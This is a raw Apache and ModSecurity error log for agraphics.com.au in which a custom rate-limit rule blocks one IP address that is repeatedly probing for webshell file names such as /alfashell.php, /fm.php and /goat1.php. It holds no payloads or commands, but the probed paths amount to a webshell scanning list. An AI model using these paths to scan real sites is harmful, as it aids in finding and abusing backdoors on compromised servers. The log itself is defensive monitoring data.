[Tue Mar 24 19:33:11.863594 2026] [:error] [pid 3137:tid 3163] [client 52.138.146.177:46958] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/alfashell.php"] [unique_id "acJ2d5dZesutm6dfYM8idQAAANg"]
[Tue Mar 24 19:33:12.987917 2026] [:error] [pid 38767:tid 38784] [client 52.138.146.177:12443] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/alfashell.php"] [unique_id "acJ2ePwkUqN4GJAI5oUc7wAAAQ4"]
[Tue Mar 24 19:33:14.123939 2026] [:error] [pid 64198:tid 64211] [client 52.138.146.177:30492] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/alfashell.php"] [unique_id "acJ2enVzJqf6OS_oSZ2kngAAAUs"]
[Tue Mar 24 19:33:14.895786 2026] [:error] [pid 38767:tid 38787] [client 52.138.146.177:38731] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/alfashell.php"] [unique_id "acJ2evwkUqN4GJAI5oUc9gAAARE"]
[Tue Mar 24 19:33:15.890182 2026] [:error] [pid 3137:tid 3160] [client 52.138.146.177:46917] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fm.php"] [unique_id "acJ2e5dZesutm6dfYM8ifAAAANU"]
[Tue Mar 24 19:33:17.440890 2026] [:error] [pid 64198:tid 64210] [client 52.138.146.177:11504] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fm.php"] [unique_id "acJ2fXVzJqf6OS_oSZ2kqQAAAUo"]
[Tue Mar 24 19:33:18.289678 2026] [:error] [pid 48214:tid 48264] [client 52.138.146.177:41792] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fm.php"] [unique_id "acJ2freshLWZ3uUDHKlmBwAAAcw"]
[Tue Mar 24 19:33:19.556331 2026] [:error] [pid 38767:tid 38771] [client 52.138.146.177:18783] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fm.php"] [unique_id "acJ2f_wkUqN4GJAI5oUc-gAAAQE"]
[Tue Mar 24 19:33:20.367088 2026] [:error] [pid 3031:tid 3078] [client 52.138.146.177:12695] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/flower.php"] [unique_id "acJ2gKJBKytnG47nuiYz5AAAAEI"]
[Tue Mar 24 19:33:21.192047 2026] [:error] [pid 38767:tid 38776] [client 52.138.146.177:32063] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/flower.php"] [unique_id "acJ2gfwkUqN4GJAI5oUc_wAAAQY"]
[Tue Mar 24 19:33:22.340779 2026] [:error] [pid 3031:tid 3090] [client 52.138.146.177:10206] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/flower.php"] [unique_id "acJ2gqJBKytnG47nuiYz5gAAAE4"]
[Tue Mar 24 19:33:23.256918 2026] [:error] [pid 38767:tid 38792] [client 52.138.146.177:1132] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/flower.php"] [unique_id "acJ2g_wkUqN4GJAI5oUdCAAAARY"]
[Tue Mar 24 19:33:24.242856 2026] [:error] [pid 3032:tid 3123] [client 52.138.146.177:32033] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gettest.php"] [unique_id "acJ2hCa_-JXXD03-JNxPkQAAAJQ"]
[Tue Mar 24 19:33:25.868887 2026] [:error] [pid 3032:tid 3115] [client 52.138.146.177:55204] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gettest.php"] [unique_id "acJ2hSa_-JXXD03-JNxPkwAAAIw"]
[Tue Mar 24 19:33:26.980999 2026] [:error] [pid 3031:tid 3096] [client 52.138.146.177:7940] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gettest.php"] [unique_id "acJ2hqJBKytnG47nuiYz6wAAAFQ"]
[Tue Mar 24 19:33:28.243131 2026] [:error] [pid 3137:tid 3161] [client 52.138.146.177:18798] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gettest.php"] [unique_id "acJ2iJdZesutm6dfYM8iggAAANY"]
[Tue Mar 24 19:34:24.045228 2026] [proxy_fcgi:error] [pid 48128:tid 48161] [client 52.138.146.177:14056] AH01071: Got error 'Primary script unknown'
[Tue Mar 24 19:34:24.298926 2026] [proxy_fcgi:error] [pid 48128:tid 48162] [client 52.138.146.177:14056] AH01071: Got error 'Primary script unknown'
[Tue Mar 24 19:34:24.589195 2026] [proxy_fcgi:error] [pid 48128:tid 48167] [client 52.138.146.177:14056] AH01071: Got error 'Primary script unknown'
[Tue Mar 24 19:34:24.918314 2026] [proxy_fcgi:error] [pid 48128:tid 48170] [client 52.138.146.177:14056] AH01071: Got error 'Primary script unknown'
[Tue Mar 24 19:34:25.835716 2026] [proxy_fcgi:error] [pid 48128:tid 48165] [client 52.138.146.177:14056] AH01071: Got error 'Primary script unknown'
[Tue Mar 24 19:34:26.504997 2026] [proxy_fcgi:error] [pid 48128:tid 48151] [client 52.138.146.177:14056] AH01071: Got error 'Primary script unknown'
[Tue Mar 24 19:34:26.856351 2026] [proxy_fcgi:error] [pid 48128:tid 48158] [client 52.138.146.177:14056] AH01071: Got error 'Primary script unknown'
[Tue Mar 24 19:34:27.125460 2026] [proxy_fcgi:error] [pid 48128:tid 48164] [client 52.138.146.177:14056] AH01071: Got error 'Primary script unknown'
[Tue Mar 24 19:34:27.386125 2026] [proxy_fcgi:error] [pid 48128:tid 48175] [client 52.138.146.177:14056] AH01071: Got error 'Primary script unknown'
[Tue Mar 24 19:34:27.691681 2026] [proxy_fcgi:error] [pid 48128:tid 48152] [client 52.138.146.177:14056] AH01071: Got error 'Primary script unknown'
[Tue Mar 24 19:34:27.945537 2026] [:error] [pid 48128:tid 48177] [client 52.138.146.177:14056] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/css.php"] [unique_id "acJ2w8vR4LIMFLbM5Vk00wAAAZg"]
[Tue Mar 24 19:34:28.873971 2026] [:error] [pid 38767:tid 38784] [client 52.138.146.177:18381] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/css.php"] [unique_id "acJ2xPwkUqN4GJAI5oUdoAAAAQ4"]
[Tue Mar 24 19:34:29.941042 2026] [:error] [pid 38767:tid 38770] [client 52.138.146.177:14023] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/css.php"] [unique_id "acJ2xfwkUqN4GJAI5oUdqAAAAQA"]
[Tue Mar 24 19:34:30.887451 2026] [:error] [pid 64198:tid 64214] [client 52.138.146.177:46958] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/css.php"] [unique_id "acJ2xnVzJqf6OS_oSZ2k6wAAAU4"]
[Tue Mar 24 19:34:31.722775 2026] [:error] [pid 48128:tid 48166] [client 52.138.146.177:9165] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/goat1.php"] [unique_id "acJ2x8vR4LIMFLbM5Vk02wAAAY4"]
[Tue Mar 24 19:34:32.625834 2026] [:error] [pid 3137:tid 3159] [client 52.138.146.177:14038] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/goat1.php"] [unique_id "acJ2yJdZesutm6dfYM8i6wAAANQ"]
[Tue Mar 24 19:34:33.545572 2026] [:error] [pid 48128:tid 48174] [client 52.138.146.177:53184] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/goat1.php"] [unique_id "acJ2ycvR4LIMFLbM5Vk04AAAAZU"]
[Tue Mar 24 19:34:34.311402 2026] [:error] [pid 48219:tid 48294] [client 52.138.146.177:9274] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/goat1.php"] [unique_id "acJ2yihf3b4R_lAIyv92cgAAAg0"]
[Tue Mar 24 19:34:35.100051 2026] [:error] [pid 48219:tid 48301] [client 52.138.146.177:14246] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file21.php"] [unique_id "acJ2yyhf3b4R_lAIyv92cwAAAhQ"]
[Tue Mar 24 19:34:36.296066 2026] [:error] [pid 64198:tid 64205] [client 52.138.146.177:51265] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file21.php"] [unique_id "acJ2zHVzJqf6OS_oSZ2k9wAAAUU"]
[Tue Mar 24 19:34:37.108187 2026] [:error] [pid 48214:tid 48272] [client 52.138.146.177:9162] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file21.php"] [unique_id "acJ2zbeshLWZ3uUDHKlmMQAAAdQ"]
[Tue Mar 24 19:34:37.835384 2026] [:error] [pid 64198:tid 64219] [client 52.138.146.177:9172] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file21.php"] [unique_id "acJ2zXVzJqf6OS_oSZ2lAQAAAVM"]
[Tue Mar 24 19:34:38.907648 2026] [:error] [pid 38767:tid 38788] [client 52.138.146.177:51269] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/class19.php"] [unique_id "acJ2zvwkUqN4GJAI5oUduQAAARI"]
[Tue Mar 24 19:34:39.796212 2026] [:error] [pid 48214:tid 48252] [client 52.138.146.177:7479] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/class19.php"] [unique_id "acJ2z7eshLWZ3uUDHKlmMgAAAcA"]
[Tue Mar 24 19:34:40.571754 2026] [:error] [pid 38767:tid 38773] [client 52.138.146.177:8127] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/class19.php"] [unique_id "acJ20PwkUqN4GJAI5oUdxgAAAQM"]
[Tue Mar 24 19:34:41.788512 2026] [:error] [pid 48219:tid 48305] [client 52.138.146.177:9639] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/class19.php"] [unique_id "acJ20Shf3b4R_lAIyv92fwAAAhg"]
[Tue Mar 24 19:34:42.919809 2026] [:error] [pid 48219:tid 48300] [client 52.138.146.177:9598] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/2clas.php"] [unique_id "acJ20ihf3b4R_lAIyv92ggAAAhM"]
[Tue Mar 24 19:34:43.910486 2026] [:error] [pid 38767:tid 38780] [client 52.138.146.177:15640] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/2clas.php"] [unique_id "acJ20_wkUqN4GJAI5oUd0AAAAQo"]
[Tue Mar 24 19:34:44.735651 2026] [:error] [pid 38767:tid 38784] [client 52.138.146.177:53228] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/2clas.php"] [unique_id "acJ21PwkUqN4GJAI5oUd2AAAAQ4"]
[Tue Mar 24 19:34:45.567157 2026] [:error] [pid 38767:tid 38779] [client 52.138.146.177:29548] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/2clas.php"] [unique_id "acJ21fwkUqN4GJAI5oUd3QAAAQk"]
[Tue Mar 24 19:34:47.154062 2026] [:error] [pid 48214:tid 48267] [client 52.138.146.177:53245] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/inde.php"] [unique_id "acJ217eshLWZ3uUDHKlmOQAAAc8"]
[Tue Mar 24 19:34:48.205194 2026] [:error] [pid 3032:tid 3103] [client 52.138.146.177:35376] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/inde.php"] [unique_id "acJ22Ca_-JXXD03-JNxPxAAAAIA"]
[Tue Mar 24 19:34:49.101855 2026] [:error] [pid 3032:tid 3123] [client 52.138.146.177:9173] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/inde.php"] [unique_id "acJ22Sa_-JXXD03-JNxPyAAAAJQ"]
[Tue Mar 24 19:34:49.971824 2026] [:error] [pid 3137:tid 3156] [client 52.138.146.177:13519] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/inde.php"] [unique_id "acJ22ZdZesutm6dfYM8i8QAAANE"]
[Tue Mar 24 19:34:50.696057 2026] [:error] [pid 48219:tid 48293] [client 52.138.146.177:9638] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/classgoto24.php"] [unique_id "acJ22ihf3b4R_lAIyv92igAAAgw"]
[Tue Mar 24 19:34:51.327820 2026] [:error] [pid 64198:tid 64207] [client 52.138.146.177:14037] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/classgoto24.php"] [unique_id "acJ223VzJqf6OS_oSZ2lIwAAAUc"]
[Tue Mar 24 19:34:52.064369 2026] [:error] [pid 38767:tid 38777] [client 52.138.146.177:9187] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/classgoto24.php"] [unique_id "acJ23PwkUqN4GJAI5oUd6QAAAQc"]
[Tue Mar 24 19:34:52.663387 2026] [:error] [pid 48214:tid 48276] [client 52.138.146.177:10975] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/classgoto24.php"] [unique_id "acJ23LeshLWZ3uUDHKlmPgAAAdg"]
[Tue Mar 24 19:34:53.455648 2026] [:error] [pid 3031:tid 3089] [client 52.138.146.177:11974] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fffff.php"] [unique_id "acJ23aJBKytnG47nuiY0CgAAAE0"]
[Tue Mar 24 19:34:54.339057 2026] [:error] [pid 48128:tid 48173] [client 52.138.146.177:35351] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fffff.php"] [unique_id "acJ23svR4LIMFLbM5Vk05gAAAZQ"]
[Tue Mar 24 19:34:55.033387 2026] [:error] [pid 38767:tid 38773] [client 52.138.146.177:12529] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fffff.php"] [unique_id "acJ23_wkUqN4GJAI5oUeAgAAAQM"]
[Tue Mar 24 19:34:55.911574 2026] [:error] [pid 38767:tid 38770] [client 52.138.146.177:12007] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fffff.php"] [unique_id "acJ23_wkUqN4GJAI5oUeDgAAAQA"]
[Tue Mar 24 19:34:56.516982 2026] [:error] [pid 38767:tid 38782] [client 52.138.146.177:11981] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/thh.php"] [unique_id "acJ24PwkUqN4GJAI5oUeFAAAAQw"]
[Tue Mar 24 19:34:57.600918 2026] [:error] [pid 3030:tid 3070] [client 52.138.146.177:9655] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/thh.php"] [unique_id "acJ24QyOuILyynfcqflZkAAAABU"]
[Tue Mar 24 19:34:58.238007 2026] [:error] [pid 3030:tid 3059] [client 52.138.146.177:37109] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/thh.php"] [unique_id "acJ24gyOuILyynfcqflZkQAAAAo"]
[Tue Mar 24 19:34:58.948606 2026] [:error] [pid 48219:tid 48300] [client 52.138.146.177:9213] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/thh.php"] [unique_id "acJ24ihf3b4R_lAIyv92kQAAAhM"]
[Tue Mar 24 19:34:59.934818 2026] [:error] [pid 3032:tid 3119] [client 52.138.146.177:51269] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/yellow.php"] [unique_id "acJ24ya_-JXXD03-JNxP5AAAAJA"]
